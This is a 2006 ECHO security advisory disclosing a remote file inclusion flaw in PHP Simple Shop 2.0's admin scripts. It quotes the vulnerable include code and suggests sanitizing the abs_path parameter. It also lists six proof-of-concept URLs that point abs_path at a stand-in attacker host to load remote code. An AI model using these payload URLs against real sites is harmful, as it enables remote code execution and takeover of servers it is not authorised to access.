Echo Security Advisory 2006.44

`ECHO_ADV_44$2006  
  
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[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion  
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Author : Ahmad Maulana a.k.a Matdhule  
Date Found : August, 07th 2006  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
PHP Simple Shop  
  
Application : PHP Simple Shop  
version : Latest version [2.0]  
URL : http://www.turnkeywebtools.com/phpsimpleshop  
  
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Vulnerability:  
~~~~~~~~~~~~~~  
  
In folder admin we found vulnerability script index.php  
---------------------------index.php---------------------------------------  
....  
<?PHP  
/*  
index.php - $DATE$ - $TIME$ - $VERSION$  
  
PHP Simple Shop  
http://www.turnkeywebtools.com/phpsimpleshop/  
  
Copyright (c) 2001-2005 Turnkey Web Tools, Inc.  
*/  
  
if (isset($abs_path) && $abs_path != "") {  
include $abs_path."admin/adminglobal.php";  
} else {  
include "./adminglobal.php";  
}   
...  
----------------------------------------------------------  
  
Input passed to the "abs_path" parameter in index.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
Also affected files :  
  
adminindex.php  
adminglobal.php  
login.php  
menu.php  
header.php  
  
Proof Of Concept:  
~~~~~~~~~~~~~~~  
  
http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?  
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?  
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?  
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?  
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?  
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?  
  
Solution:  
~~~~~~~  
- Sanitize variable $abs_path on affected files.  
  
Notification:  
~~~~~~~~~~  
  
I've been contacting the web/software administrator to tell about this hole in his system,   
but instead of giving a nice response, he replied so rudely and arrogantly.   
I recommend not to use this product for your own sake.  
  
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Shoutz:  
~~~  
~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous  
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama  
~ [email protected], [email protected]  
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net  
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---  
Contact:  
~~~~  
  
matdhule[at]gmail[dot]com  
  
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`